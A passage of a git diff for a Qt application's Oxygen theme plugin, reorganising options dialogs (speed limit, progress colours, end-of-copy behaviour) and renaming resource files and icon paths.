- <attribute name="icon">
- <iconset>
- <normaloff>:/styles/kde3/player_playlist.png</normaloff>:/styles/kde3/player_playlist.png</iconset>
- </attribute>
+ <widget class="QWidget" name="tab_interface">
<attribute name="title">
<string>Interface</string>
</attribute>
- <layout class="QVBoxLayout" name="verticalLayout">
- <item>
- <layout class="QFormLayout" name="formLayout">
- <property name="fieldGrowthPolicy">
- <enum>QFormLayout::ExpandingFieldsGrow</enum>
- </property>
- <item row="0" column="0">
- <widget class="QLabel" name="label_8">
- <property name="text">
- <string>Show speed as main informations</string>
- </property>
- </widget>
- </item>
- <item row="0" column="1">
- <widget class="QCheckBox" name="checkBoxShowSpeed">
- <property name="text">
- <string/>
- </property>
- </widget>
- </item>
- </layout>
- </item>
+ <layout class="QHBoxLayout" name="horizontalLayout_2">
+ <property name="spacing">
+ <number>0</number>
+ </property>
+ <property name="margin">
+ <number>0</number>
+ </property>
<item>
- <spacer name="verticalSpacer">
- <property name="orientation">
- <enum>Qt::Vertical</enum>
+ <widget class="QScrollArea" name="optionsTab">
+ <property name="widgetResizable">
+ <bool>true</bool>
</property>
- <property name="sizeHint" stdset="0">
- <size>
- <width>20</width>
- <height>220</height>
- </size>
- </property>
- </spacer>
+ <widget class="QWidget" name="scrollAreaWidgetContents">
+ <property name="geometry">
+ <rect>
+ <x>0</x>
+ <y>0</y>
+ <width>492</width>
+ <height>227</height>
+ </rect>
+ </property>
+ </widget>
+ </widget>
</item>
</layout>
</widget>
@@ -969,8 +771,8 @@ p, li { white-space: pre-wrap; }
</layout>
<action name="actionAddFile">
<property name="icon">
- <iconset resource="resources.qrc">
- <normaloff>:/resources/add.png</normaloff>:/resources/add.png</iconset>
+ <iconset resource="interfaceResources.qrc">
+ <normaloff>:/Themes/Oxygen/resources/add.png</normaloff>:/Themes/Oxygen/resources/add.png</iconset>
</property>
<property name="text">
<string>Add file</string>
@@ -978,8 +780,8 @@ p, li { white-space: pre-wrap; }
</action>
<action name="actionAddFolder">
<property name="icon">
- <iconset resource="resources.qrc">
- <normaloff>:/resources/add.png</normaloff>:/resources/add.png</iconset>
+ <iconset resource="interfaceResources.qrc">
+ <normaloff>:/Themes/Oxygen/resources/add.png</normaloff>:/Themes/Oxygen/resources/add.png</iconset>
</property>
<property name="text">
<string>Add folder</string>
@@ -987,8 +789,8 @@ p, li { white-space: pre-wrap; }
</action>
<action name="actionAddFileToMove">
<property name="icon">
- <iconset resource="resources.qrc">
- <normaloff>:/resources/add.png</normaloff>:/resources/add.png</iconset>
+ <iconset resource="interfaceResources.qrc">
+ <normaloff>:/Themes/Oxygen/resources/add.png</normaloff>:/Themes/Oxygen/resources/add.png</iconset>
</property>
<property name="text">
<string>Move file(s)</string>
@@ -996,8 +798,8 @@ p, li { white-space: pre-wrap; }
</action>
<action name="actionAddFolderToMove">
<property name="icon">
- <iconset resource="resources.qrc">
- <normaloff>:/resources/add.png</normaloff>:/resources/add.png</iconset>
+ <iconset resource="interfaceResources.qrc">
+ <normaloff>:/Themes/Oxygen/resources/add.png</normaloff>:/Themes/Oxygen/resources/add.png</iconset>
</property>
<property name="text">
<string>Move folder</string>
@@ -1005,8 +807,8 @@ p, li { white-space: pre-wrap; }
</action>
<action name="actionAddFileToCopy">
<property name="icon">
- <iconset resource="resources.qrc">
- <normaloff>:/resources/add.png</normaloff>:/resources/add.png</iconset>
+ <iconset resource="interfaceResources.qrc">
+ <normaloff>:/Themes/Oxygen/resources/add.png</normaloff>:/Themes/Oxygen/resources/add.png</iconset>
</property>
<property name="text">
<string>Copy file(s)</string>
@@ -1014,8 +816,8 @@ p, li { white-space: pre-wrap; }
</action>
<action name="actionAddFolderToCopy">
<property name="icon">
- <iconset resource="resources.qrc">
- <normaloff>:/resources/add.png</normaloff>:/resources/add.png</iconset>
+ <iconset resource="interfaceResources.qrc">
+ <normaloff>:/Themes/Oxygen/resources/add.png</normaloff>:/Themes/Oxygen/resources/add.png</iconset>
</property>
<property name="text">
<string>Copy folder</string>
@@ -1023,7 +825,7 @@ p, li { white-space: pre-wrap; }
</action>
</widget>
<resources>
- <include location="resources.qrc"/>
+ <include location="interfaceResources.qrc"/>
</resources>
<connections>
<connection>
@@ -1042,21 +844,5 @@ p, li { white-space: pre-wrap; }
</hint>
</hints>
</connection>
- <connection>
- <sender>checkBox_limitSpeed</sender>
- <signal>clicked(bool)</signal>
- <receiver>limitSpeed</receiver>
- <slot>setEnabled(bool)</slot>
- <hints>
- <hint type="sourcelabel">
- <x>121</x>
- <y>304</y>
- </hint>
- <hint type="destinationlabel">
- <x>328</x>
- <y>305</y>
- </hint>
- </hints>
- </connection>
</connections>
</ui>
diff --git a/plugins/Themes/Oxygen/resources.qrc b/plugins/Themes/Oxygen/interfaceResources.qrc
index 75f6259..60060b3 100644
--- a/plugins/Themes/Oxygen/resources.qrc
+++ b/plugins/Themes/Oxygen/interfaceResources.qrc
@@ -1,5 +1,5 @@
<RCC>
- <qresource prefix="/">
+ <qresource prefix="/Themes/Oxygen">
<file>resources/add.png</file>
<file>resources/cancel.png</file>
<file>resources/main.png</file>
diff --git a/plugins/Themes/Oxygen/resources_unix.qrc b/plugins/Themes/Oxygen/interfaceResources_unix.qrc
index ae3894b..27fb1d2 100644
--- a/plugins/Themes/Oxygen/resources_unix.qrc
+++ b/plugins/Themes/Oxygen/interfaceResources_unix.qrc
@@ -1,6 +1,6 @@
<RCC>
- <qresource prefix="/">
- <file>resources/SystemTrayIcon/systray_Caught_Unix.png</file>
+ <qresource prefix="/Themes/Oxygen">
+ <file>resources/SystemTrayIcon/systray_Caught_Unix.png</file>
<file>resources/SystemTrayIcon/systray_Semiuncaught_Unix.png</file>
<file>resources/SystemTrayIcon/systray_Uncaught_Unix.png</file>
</qresource>
diff --git a/plugins/Themes/Oxygen/resources_windows.qrc b/plugins/Themes/Oxygen/interfaceResources_windows.qrc
index 99829b3..f917ac3 100644
--- a/plugins/Themes/Oxygen/resources_windows.qrc
+++ b/plugins/Themes/Oxygen/interfaceResources_windows.qrc
@@ -1,5 +1,5 @@
<RCC>
- <qresource prefix="/">
+ <qresource prefix="/Themes/Oxygen">
<file>resources/SystemTrayIcon/systray_Caught_Windows.png</file>
<file>resources/SystemTrayIcon/systray_Semiuncaught_Windows.png</file>
<file>resources/SystemTrayIcon/systray_Uncaught_Windows.png</file>
diff --git a/plugins/Themes/Oxygen/options.ui b/plugins/Themes/Oxygen/options.ui
index ad4826e..96e4efa 100644
--- a/plugins/Themes/Oxygen/options.ui
+++ b/plugins/Themes/Oxygen/options.ui
@@ -6,36 +6,285 @@
<rect>
<x>0</x>
<y>0</y>
- <width>249</width>
- <height>54</height>
+ <width>515</width>
+ <height>251</height>
</rect>
</property>
- <layout class="QFormLayout" name="formLayout">
- <property name="fieldGrowthPolicy">
- <enum>QFormLayout::ExpandingFieldsGrow</enum>
- </property>
- <item row="0" column="0">
- <widget class="QLabel" name="label">
+ <layout class="QGridLayout" name="gridLayout">
+ <item row="4" column="2">
+ <widget class="QFrame" name="frameProgressionColor">
+ <layout class="QHBoxLayout" name="horizontalLayout">
+ <property name="spacing">
+ <number>0</number>
+ </property>
+ <property name="leftMargin">
+ <number>0</number>
+ </property>
+ <property name="topMargin">
+ <number>0</number>
+ </property>
+ <property name="rightMargin">
+ <number>0</number>
+ </property>
+ <property name="bottomMargin">
+ <number>0</number>
+ </property>
+ <item>
+ <widget class="QPushButton" name="progressColorWrite">
+ <property name="minimumSize">
+ <size>
+ <width>75</width>
+ <height>20</height>
+ </size>
+ </property>
+ <property name="maximumSize">
+ <size>
+ <width>75</width>
+ <height>20</height>
+ </size>
+ </property>
+ <property name="iconSize">
+ <size>
+ <width>75</width>
+ <height>20</height>
+ </size>
+ </property>
+ <property name="flat">
+ <bool>true</bool>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <widget class="QPushButton" name="progressColorRead">
+ <property name="minimumSize">
+ <size>
+ <width>75</width>
+ <height>20</height>
+ </size>
+ </property>
+ <property name="maximumSize">
+ <size>
+ <width>75</width>
+ <height>20</height>
+ </size>
+ </property>
+ <property name="iconSize">
+ <size>
+ <width>75</width>
+ <height>20</height>
+ </size>
+ </property>
+ <property name="flat">
+ <bool>true</bool>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <widget class="QPushButton" name="progressColorRemaining">
+ <property name="minimumSize">
+ <size>
+ <width>75</width>
+ <height>20</height>
+ </size>
+ </property>
+ <property name="maximumSize">
+ <size>
+ <width>75</width>
+ <height>20</height>
+ </size>
+ </property>
+ <property name="iconSize">
+ <size>
+ <width>75</width>
+ <height>20</height>
+ </size>
+ </property>
+ <property name="flat">
+ <bool>true</bool>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <spacer name="horizontalSpacer_2">
+ <property name="orientation">
+ <enum>Qt::Horizontal</enum>
+ </property>
+ <property name="sizeHint" stdset="0">
+ <size>
+ <width>40</width>
+ <height>20</height>
+ </size>
+ </property>
+ </spacer>
+ </item>
+ </layout>
+ </widget>
+ </item>
+ <item row="4" column="0">
+ <widget class="QLabel" name="labelProgressionColor">
<property name="text">
- <string>Show speed as main informations</string>
+ <string>Progression color</string>
</property>
</widget>
</item>
- <item row="0" column="1">
- <widget class="QCheckBox" name="checkBoxShowSpeed"/>
+ <item row="7" column="2">
+ <widget class="QLabel" name="label_SpeedMaxValue">
+ <property name="text">
+ <string notr="true">Unlimited</string>
+ </property>
+ </widget>
</item>
- <item row="1" column="1">
- <widget class="QCheckBox" name="checkBoxStartWithMoreButtonPushed"/>
+ <item row="8" column="0">
+ <widget class="QCheckBox" name="checkBox_limitSpeed">
+ <property name="text">
+ <string>Limit copy speed at:</string>
+ </property>
+ </widget>
+ </item>
+ <item row="8" column="1">
+ <widget class="QSpinBox" name="limitSpeed">
+ <property name="enabled">
+ <bool>false</bool>
+ </property>
+ <property name="suffix">
+ <string> KB/s</string>
+ </property>
+ <property name="minimum">
+ <number>1</number>
+ </property>
+ <property name="maximum">
+ <number>999999</number>
+ </property>
+ </widget>
+ </item>
+ <item row="2" column="0" colspan="2">
+ <widget class="QLabel" name="labelSpeedWithProgressBar">
+ <property name="text">
+ <string>Speed with progress bar</string>
+ </property>
+ </widget>
+ </item>
+ <item row="5" column="1">
+ <spacer name="horizontalSpacer">
+ <property name="orientation">
+ <enum>Qt::Horizontal</enum>
+ </property>
+ <property name="sizeHint" stdset="0">
+ <size>
+ <width>122</width>
+ <height>20</height>
+ </size>
+ </property>
+ </spacer>
+ </item>
+ <item row="9" column="0">
+ <spacer name="verticalSpacer">
+ <property name="orientation">
+ <enum>Qt::Vertical</enum>
+ </property>
+ <property name="sizeHint" stdset="0">
+ <size>
+ <width>20</width>
+ <height>40</height>
+ </size>
+ </property>
+ </spacer>
+ </item>
+ <item row="5" column="2">
+ <widget class="QComboBox" name="comboBox_copyEnd">
+ <item>
+ <property name="text">
+ <string notr="true">Don't close if errors are found</string>
+ </property>
+ </item>
+ <item>
+ <property name="text">
+ <string notr="true">Never close</string>
+ </property>
+ </item>
+ <item>
+ <property name="text">
+ <string notr="true">Always close</string>
+ </property>
+ </item>
+ </widget>
+ </item>
+ <item row="5" column="0">
+ <widget class="QLabel" name="label_2">
+ <property name="text">
+ <string>At the end of the copy: </string>
+ </property>
+ </widget>
+ </item>
+ <item row="3" column="2">
+ <widget class="QCheckBox" name="showDualProgression"/>
+ </item>
+ <item row="7" column="0">
+ <widget class="QLabel" name="label_Slider_speed">
+ <property name="text">
+ <string>Limit copy speed at:</string>
+ </property>
+ </widget>
</item>
- <item row="1" column="0">
+ <item row="1" column="0" colspan="2">
<widget class="QLabel" name="labelStartWithMoreButtonPushed">
<property name="text">
- <string>Start with more button pushed</string>
+ <string>Start with the &quot;more button&quot; pushed</string>
+ </property>
+ </widget>
+ </item>
+ <item row="7" column="1">
+ <widget class="QSlider" name="SliderSpeed">
+ <property name="maximum">
+ <number>5</number>
+ </property>
+ <property name="orientation">
+ <enum>Qt::Horizontal</enum>
+ </property>
+ </widget>
+ </item>
+ <item row="3" column="0" colspan="2">
+ <widget class="QLabel" name="label">
+ <property name="text">
+ <string>Show dual progression</string>
+ </property>
+ </widget>
+ </item>
+ <item row="1" column="2">
+ <widget class="QCheckBox" name="checkBoxStartWithMoreButtonPushed"/>
+ </item>
+ <item row="2" column="2">
+ <widget class="QCheckBox" name="speedWithProgressBar"/>
+ </item>
+ <item row="0" column="0" colspan="2">
+ <widget class="QLabel" name="labelShowSpeedAsMain">
+ <property name="text">
+ <string>Show speed as main information</string>
</property>
</widget>
</item>
+ <item row="0" column="2">
+ <widget class="QCheckBox" name="checkBoxShowSpeed"/>
+ </item>
</layout>
</widget>
<resources/>
- <connections/>
+ <connections>
+ <connection>
+ <sender>checkBox_limitSpeed</sender>
+ <signal>clicked(bool)</signal>
+ <receiver>limitSpeed</receiver>
+ <slot>setEnabled(bool)</slot>
+ <hints>
+ <hint type="sourcelabel">
+ <x>109</x>
+ <y>144</y>
+ </hint>
+ <hint type="destinationlabel">
+ <x>199</x>
+ <y>144</y>
+ </hint>
+ </hints>
+ </connection>
+ </connections>
</ui>
diff --git a/plugins/Themes/Oxygen/plugin.json b/plugins/Themes/Oxygen/plugin.json
new file mode 100644
index 0000000..9e26dfe
--- /dev/null
+++ b/plugins/Themes/Oxygen/plugin.json
@@ -0,0 +1 @@
+{} \ No newline at end of file
diff --git a/plugins/Themes/Oxygen/resources/SystemTrayIcon/add.png b/plugins/Themes/Oxygen/resources/SystemTrayIcon/add.png
index 1e03be9..7932127 100644
--- a/plugins/Themes/Oxygen/resources/SystemTrayIcon/add.png
+++ b/plugins/Themes/Oxygen/resources/SystemTrayIcon/add.png
Binary files differ
diff --git a/plugins/Themes/Oxygen/resources/SystemTrayIcon/exit.png b/plugins/Themes/Oxygen/resources/SystemTrayIcon/exit.png
index 201353e..ae3c4e8 100644
--- a/plugins/Themes/Oxygen/resources/SystemTrayIcon/exit.png
+++ b/plugins/Themes/Oxygen/resources/SystemTrayIcon/exit.png
Binary files differ
diff --git a/plugins/Themes/Oxygen/resources/SystemTrayIcon/informations.png b/plugins/Themes/Oxygen/resources/SystemTrayIcon/informations.png
index e1eb797..5b7b255 100644
--- a/plugins/Themes/Oxygen/resources/SystemTrayIcon/informations.png
+++ b/plugins/Themes/Oxygen/resources/SystemTrayIcon/informations.png
Binary files differ
diff --git a/plugins/Themes/Oxygen/resources/SystemTrayIcon/options.png b/plugins/Themes/Oxygen/resources/SystemTrayIcon/options.png
index d35365c..23ec531 100644
--- a/plugins/Themes/Oxygen/resources/SystemTrayIcon/options.png
+++ b/plugins/Themes/Oxygen/resources/SystemTrayIcon/options.png
Binary files differ
diff --git a/plugins/Themes/Oxygen/resources/SystemTrayIcon/systray_Caught_Unix.png b/plugins/Themes/Oxygen/resources/SystemTrayIcon/systray_Caught_Unix.png
index a81e70d..6f5d1cf 100644
--- a/plugins/Themes/Oxygen/resources/SystemTrayIcon/systray_Caught_Unix.png
+++ b/plugins/Themes/Oxygen/resources/SystemTrayIcon/systray_Caught_Unix.png
Binary files differ
diff --git a/plugins/Themes/Oxygen/resources/SystemTrayIcon/systray_Caught_Windows.png b/plugins/Themes/Oxygen/resources/SystemTrayIcon/systray_Caught_Windows.png
index 8072aea..5464856 100644
--- a/plugins/Themes/Oxygen/resources/SystemTrayIcon/systray_Caught_Windows.png
+++ b/plugins/Themes/Oxygen/resources/SystemTrayIcon/systray_Caught_Windows.png
Binary files differ
diff --git a/plugins/Themes/Oxygen/resources/SystemTrayIcon/systray_Semiuncaught_Unix.png b/plugins/Themes/Oxygen/resources/SystemTrayIcon/systray_Semiuncaught_Unix.png
index f40ea82..b2bb2e3 100644
--- a/plugins/Themes/Oxygen/resources/SystemTrayIcon/systray_Semiuncaught_Unix.png
+++ b/plugins/Themes/Oxygen/resources/SystemTrayIcon/systray_Semiuncaught_Unix.png
Binary files differ
diff --git a/plugins/Themes/Oxygen/resources/SystemTrayIcon/systray_Semiuncaught_Windows.png b/plugins/Themes/Oxygen/resources/SystemTrayIcon/systray_Semiuncaught_Windows.png
index 8d673e4..0abeb5f 100644
--- a/plugins/Themes/Oxygen/resources/SystemTrayIcon/systray_Semiuncaught_Windows.png
+++ b/plugins/Themes/Oxygen/resources/SystemTrayIcon/systray_Semiuncaught_Windows.png
Binary files differ
diff --git a/plugins/Themes/Oxygen/resources/SystemTrayIcon/systray_Uncaught_Unix.png b/plugins/Themes/Oxygen/resources/SystemTrayIcon/systray_Uncaught_Unix.png
index 9ce4779..5e313b9 100644
--- a/plugins/Themes/Oxygen/resources/SystemTrayIcon/systray_Uncaught_Unix.png
+++ b/plugins/Themes/Oxygen/resources/SystemTrayIcon/systray_Uncaught_Unix.png
Binary files differ
diff --git a/plugins/Themes/Oxygen/resources/SystemTrayIcon/systray_Uncaught_Windows.png b/plugins/Themes/Oxygen/resources/SystemTrayIcon/systray_Uncaught_Windows.png
index d0fca1b..828e7e6 100644
--- a/plugins/Themes/Oxygen/resources/SystemTrayIcon/systray_Uncaught_Windows.png
+++ b/plugins/Themes/Oxygen/resources/SystemTrayIcon/systray_Uncaught_Windows.png
Binary files differ
diff --git a/plugins/Themes/Oxygen/resources/add.png b/plugins/Themes/Oxygen/resources/add.png
index 1e03be9..7932127 100644
--- a/plugins/Themes/Oxygen/resources/add.png
+++ b/plugins/Themes/Oxygen/resources/add.png
Binary files differ
diff --git a/plugins/Themes/Oxygen/resources/cancel.png b/plugins/Themes/Oxygen/resources/cancel.png
index 201353e..ae3c4e8 100644
--- a/plugins/Themes/Oxygen/resources/cancel.png
+++ b/plugins/Themes/Oxygen/resources/cancel.png
Binary files differ
diff --git a/plugins/Themes/Oxygen/resources/export-transfer-list.png b/plugins/Themes/Oxygen/resources/export-transfer-list.png
index 259e887..3a0aac6 100644
--- a/plugins/Themes/Oxygen/resources/export-transfer-list.png
+++ b/plugins/Themes/Oxygen/resources/export-transfer-list.png
Binary files differ
diff --git a/plugins/Themes/Oxygen/resources/import-transfer-list.png b/plugins/Themes/Oxygen/resources/import-transfer-list.png
index 58db827..ee47f0d 100644
--- a/plugins/Themes/Oxygen/resources/import-transfer-list.png
+++ b/plugins/Themes/Oxygen/resources/import-transfer-list.png
Binary files differ
diff --git a/plugins/Themes/Oxygen/resources/main.png b/plugins/Themes/Oxygen/resources/main.png
index 8072aea..5464856 100644
--- a/plugins/Themes/Oxygen/resources/main.png
+++ b/plugins/Themes/Oxygen/resources/main.png
Binary files differ
diff --git a/plugins/Themes/Oxygen/resources/moveDown.png b/plugins/Themes/Oxygen/resources/moveDown.png
index 03f2014..82a312c 100644
--- a/plugins/Themes/Oxygen/resources/moveDown.png
+++ b/plugins/Themes/Oxygen/resources/moveDown.png
Binary files differ
diff --git a/plugins/Themes/Oxygen/resources/moveUp.png b/plugins/Themes/Oxygen/resources/moveUp.png
index 5e42321..7f7ba72 100644
--- a/plugins/Themes/Oxygen/resources/moveUp.png
+++ b/plugins/Themes/Oxygen/resources/moveUp.png
Binary files differ
diff --git a/plugins/Themes/Oxygen/resources/player_end.png b/plugins/Themes/Oxygen/resources/player_end.png
index 0d22924..18982db 100644
--- a/plugins/Themes/Oxygen/resources/player_end.png
+++ b/plugins/Themes/Oxygen/resources/player_end.png
Binary files differ
diff --git a/plugins/Themes/Oxygen/resources/player_pause.png b/plugins/Themes/Oxygen/resources/player_pause.png
index a9b3113..68ee21f 100644
--- a/plugins/Themes/Oxygen/resources/player_pause.png
+++ b/plugins/Themes/Oxygen/resources/player_pause.png
Binary files differ
diff --git a/plugins/Themes/Oxygen/resources/player_play.png b/plugins/Themes/Oxygen/resources/player_play.png
index 80ff3a1..a1c5b83 100644
--- a/plugins/Themes/Oxygen/resources/player_play.png
+++ b/plugins/Themes/Oxygen/resources/player_play.png
Binary files differ
diff --git a/plugins/Themes/Oxygen/resources/putOnBottom.png b/plugins/Themes/Oxygen/resources/putOnBottom.png
index aadd380..512286e 100644
--- a/plugins/Themes/Oxygen/resources/putOnBottom.png
+++ b/plugins/Themes/Oxygen/resources/putOnBottom.png
Binary files differ
diff --git a/plugins/Themes/Oxygen/resources/putOnTop.png b/plugins/Themes/Oxygen/resources/putOnTop.png
index 6f54166..30fe96b 100644
--- a/plugins/Themes/Oxygen/resources/putOnTop.png
+++ b/plugins/Themes/Oxygen/resources/putOnTop.png
Binary files differ
diff --git a/plugins/Themes/Oxygen/resources/remove.png b/plugins/Themes/Oxygen/resources/remove.png
index 5b4c488..b711740 100644
--- a/plugins/Themes/Oxygen/resources/remove.png
+++ b/plugins/Themes/Oxygen/resources/remove.png
Binary files differ
diff --git a/plugins/Themes/Oxygen/resources/search.png b/plugins/Themes/Oxygen/resources/search.png
index 3b674c3..cef1836 100644
--- a/plugins/Themes/Oxygen/resources/search.png
+++ b/plugins/Themes/Oxygen/resources/search.png
Binary files differ
diff --git a/plugins/Themes/Oxygen/themesOptions.ui b/plugins/Themes/Oxygen/themesOptions.ui
new file mode 100644
index 0000000..b3ac73b
--- /dev/null
+++ b/plugins/Themes/Oxygen/themesOptions.ui
@@ -0,0 +1,426 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<ui version="4.0">
+ <class>themesOptions</class>
+ <widget class="QWidget" name="themesOptions">
+ <property name="geometry">
+ <rect>
+ <x>0</x>
+ <y>0</y>
+ <width>519</width>
+ <height>389</height>
+ </rect>
+ </property>
+ <layout class="QVBoxLayout" name="verticalLayout">
+ <property name="spacing">
+ <number>0</number>
+ </property>
+ <property name="leftMargin">
+ <number>0</number>
+ </property>
+ <property name="topMargin">
+ <number>0</number>
+ </property>
+ <property name="rightMargin">
+ <number>0</number>
+ </property>
+ <property name="bottomMargin">
+ <number>0</number>
+ </property>
+ <item>
+ <widget class="QToolBox" name="toolBox">
+ <property name="currentIndex">
+ <number>0</number>
+ </property>
+ <widget class="QWidget" name="page">
+ <property name="geometry">
+ <rect>
+ <x>0</x>
+ <y>0</y>
+ <width>509</width>
+ <height>292</height>
+ </rect>
+ </property>
+ <attribute name="label">
+ <string>Use</string>
+ </attribute>
+ <layout class="QGridLayout" name="gridLayout_3">
+ <item row="0" column="0">
+ <widget class="QLabel" name="labelStartWithMoreButtonPushed">
+ <property name="text">
+ <string>Start with the &quot;more button&quot; pushed</string>
+ </property>
+ </widget>
+ </item>
+ <item row="0" column="1">
+ <widget class="QCheckBox" name="checkBoxStartWithMoreButtonPushed"/>
+ </item>
+ <item row="1" column="0">
+ <widget class="QLabel" name="labelAlwaysOnTop">
+ <property name="text">
+ <string>Always on top</string>
+ </property>
+ </widget>
+ </item>
+ <item row="2" column="0">
+ <widget class="QLabel" name="label">
+ <property name="text">
+ <string>Minimize on close to systray</string>
+ </property>
+ </widget>
+ </item>
+ <item row="2" column="1">
+ <widget class="QCheckBox" name="minimizeToSystray"/>
+ </item>
+ <item row="4" column="1" colspan="2">
+ <widget class="QComboBox" name="comboBox_copyEnd">
+ <item>
+ <property name="text">
+ <string notr="true">Don't close if errors are found</string>
+ </property>
+ </item>
+ <item>
+ <property name="text">
+ <string notr="true">Never close</string>
+ </property>
+ </item>
+ <item>
+ <property name="text">
+ <string notr="true">Always close</string>
+ </property>
+ </item>
+ </widget>
+ </item>
+ <item row="4" column="0">
+ <widget class="QLabel" name="label_2">
+ <property name="text">
+ <string>At the end of the copy</string>
+ </property>
+ </widget>
+ </item>
+ <item row="5" column="0">
+ <widget class="QLabel" name="label_Slider_speed">
+ <property name="text">
+ <string>Limit copy speed to</string>
+ </property>
+ </widget>
+ </item>
+ <item row="5" column="1" colspan="2">
+ <layout class="QHBoxLayout" name="horizontalLayout_2">
+ <item>
+ <widget class="QSlider" name="SliderSpeed">
+ <property name="sizePolicy">
+ <sizepolicy hsizetype="Minimum" vsizetype="Fixed">
+ <horstretch>0</horstretch>
+ <verstretch>0</verstretch>
+ </sizepolicy>
+ </property>
+ <property name="maximum">
+ <number>5</number>
+ </property>
+ <property name="orientation">
+ <enum>Qt::Horizontal</enum>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <widget class="QLabel" name="label_SpeedMaxValue">
+ <property name="text">
+ <string notr="true">Unlimited</string>
+ </property>
+ </widget>
+ </item>
+ </layout>
+ </item>
+ <item row="6" column="0">
+ <widget class="QCheckBox" name="checkBox_limitSpeed">
+ <property name="text">
+ <string>Limit copy speed to</string>
+ </property>
+ </widget>
+ </item>
+ <item row="6" column="1" colspan="2">
+ <widget class="QSpinBox" name="limitSpeed">
+ <property name="enabled">
+ <bool>false</bool>
+ </property>
+ <property name="suffix">
+ <string> KB/s</string>
+ </property>
+ <property name="minimum">
+ <number>1</number>
+ </property>
+ <property name="maximum">
+ <number>999999</number>
+ </property>
+ </widget>
+ </item>
+ <item row="7" column="2">
+ <spacer name="verticalSpacer_3">
+ <property name="orientation">
+ <enum>Qt::Vertical</enum>
+ </property>
+ <property name="sizeHint" stdset="0">
+ <size>
+ <width>20</width>
+ <height>133</height>
+ </size>
+ </property>
+ </spacer>
+ </item>
+ <item row="1" column="1" colspan="2">
+ <widget class="QCheckBox" name="alwaysOnTop"/>
+ </item>
+ <item row="3" column="0">
+ <widget class="QLabel" name="label_startMinimized">
+ <property name="text">
+ <string>Start minimized</string>
+ </property>
+ </widget>
+ </item>
+ <item row="3" column="1">
+ <widget class="QCheckBox" name="startMinimized">
+ <property name="text">
+ <string/>
+ </property>
+ </widget>
+ </item>
+ </layout>
+ </widget>
+ <widget class="QWidget" name="page_2">
+ <property name="geometry">
+ <rect>
+ <x>0</x>
+ <y>0</y>
+ <width>509</width>
+ <height>292</height>
+ </rect>
+ </property>
+ <attribute name="label">
+ <string>Informations</string>
+ </attribute>
+ <layout class="QGridLayout" name="gridLayout_2">
+ <item row="0" column="0">
+ <widget class="QLabel" name="labelShowSpeedAsMain">
+ <property name="text">
+ <string>Show speed as main information</string>
+ </property>
+ </widget>
+ </item>
+ <item row="0" column="1">
+ <widget class="QCheckBox" name="checkBoxShowSpeed"/>
+ </item>
+ <item row="1" column="2">
+ <spacer name="verticalSpacer_2">
+ <property name="orientation">
+ <enum>Qt::Vertical</enum>
+ </property>
+ <property name="sizeHint" stdset="0">
+ <size>
+ <width>20</width>
+ <height>529</height>
+ </size>
+ </property>
+ </spacer>
+ </item>
+ </layout>
+ </widget>
+ <widget class="QWidget" name="page_3">
+ <property name="geometry">
+ <rect>
+ <x>0</x>
+ <y>0</y>
+ <width>509</width>
+ <height>292</height>
+ </rect>
+ </property>
+ <attribute name="label">
+ <string>Display</string>
+ </attribute>
+ <layout class="QGridLayout" name="gridLayout">
+ <item row="0" column="0">
+ <widget class="QLabel" name="labelSpeedWithProgressBar">
+ <property name="text">
+ <string>Speed with progress bar</string>
+ </property>
+ </widget>
+ </item>
+ <item row="0" column="1">
+ <widget class="QCheckBox" name="speedWithProgressBar"/>
+ </item>
+ <item row="1" column="0">
+ <widget class="QLabel" name="labelDualProgression">
+ <property name="text">
+ <string>Show dual progression</string>
+ </property>
+ </widget>
+ </item>
+ <item row="1" column="1">
+ <widget class="QCheckBox" name="showDualProgression"/>
+ </item>
+ <item row="2" column="0">
+ <widget class="QLabel" name="label_3">
+ <property name="text">
+ <string>Show progression in the title</string>
+ </property>
+ </widget>
+ </item>
+ <item row="2" column="1">
+ <widget class="QCheckBox" name="showProgressionInTheTitle"/>
+ </item>
+ <item row="3" column="0">
+ <widget class="QLabel" name="labelProgressionColor">
+ <property name="text">
+ <string>Progression color</string>
+ </property>
+ </widget>
+ </item>
+ <item row="3" column="1">
+ <widget class="QFrame" name="frameProgressionColor">
+ <property name="minimumSize">
+ <size>
+ <width>225</width>
+ <height>20</height>
+ </size>
+ </property>
+ <property name="maximumSize">
+ <size>
+ <width>225</width>
+ <height>20</height>
+ </size>
+ </property>
+ <property name="toolTip">
+ <string>Click to edit the color</string>
+ </property>
+ <layout class="QHBoxLayout" name="horizontalLayout">
+ <property name="spacing">
+ <number>0</number>
+ </property>
+ <property name="leftMargin">
+ <number>0</number>
+ </property>
+ <property name="topMargin">
+ <number>0</number>
+ </property>
+ <property name="rightMargin">
+ <number>0</number>
+ </property>
+ <property name="bottomMargin">
+ <number>0</number>
+ </property>
+ <item>
+ <widget class="QPushButton" name="progressColorWrite">
+ <property name="minimumSize">
+ <size>
+ <width>75</width>
+ <height>20</height>
+ </size>
+ </property>
+ <property name="maximumSize">
+ <size>
+ <width>75</width>
+ <height>20</height>
+ </size>
+ </property>
+ <property name="iconSize">
+ <size>
+ <width>75</width>
+ <height>20</height>
+ </size>
+ </property>
+ <property name="flat">
+ <bool>true</bool>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <widget class="QPushButton" name="progressColorRead">
+ <property name="minimumSize">
+ <size>
+ <width>75</width>
+ <height>20</height>
+ </size>
+ </property>
+ <property name="maximumSize">
+ <size>
+ <width>75</width>
+ <height>20</height>
+ </size>
+ </property>
+ <property name="iconSize">
+ <size>
+ <width>75</width>
+ <height>20</height>
+ </size>
+ </property>
+ <property name="flat">
+ <bool>true</bool>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <widget class="QPushButton" name="progressColorRemaining">
+ <property name="minimumSize">
+ <size>
+ <width>75</width>
+ <height>20</height>
+ </size>
+ </property>
+ <property name="maximumSize">
+ <size>
+ <width>75</width>
+ <height>20</height>
+ </size>
+ </property>
+ <property name="iconSize">
+ <size>
+ <width>75</width>
+ <height>20</height>
+ </size>
+ </property>
+ <property name="flat">
+ <bool>true</bool>
+ </property>
+ </widget>
+ </item>
+ </layout>
+ </widget>
+ </item>
+ <item row="4" column="0">
+ <spacer name="verticalSpacer">
+ <property name="orientation">
+ <enum>Qt::Vertical</enum>
+ </property>
+ <property name="sizeHint" stdset="0">
+ <size>
+ <width>20</width>
+ <height>455</height>
+ </size>
+ </property>
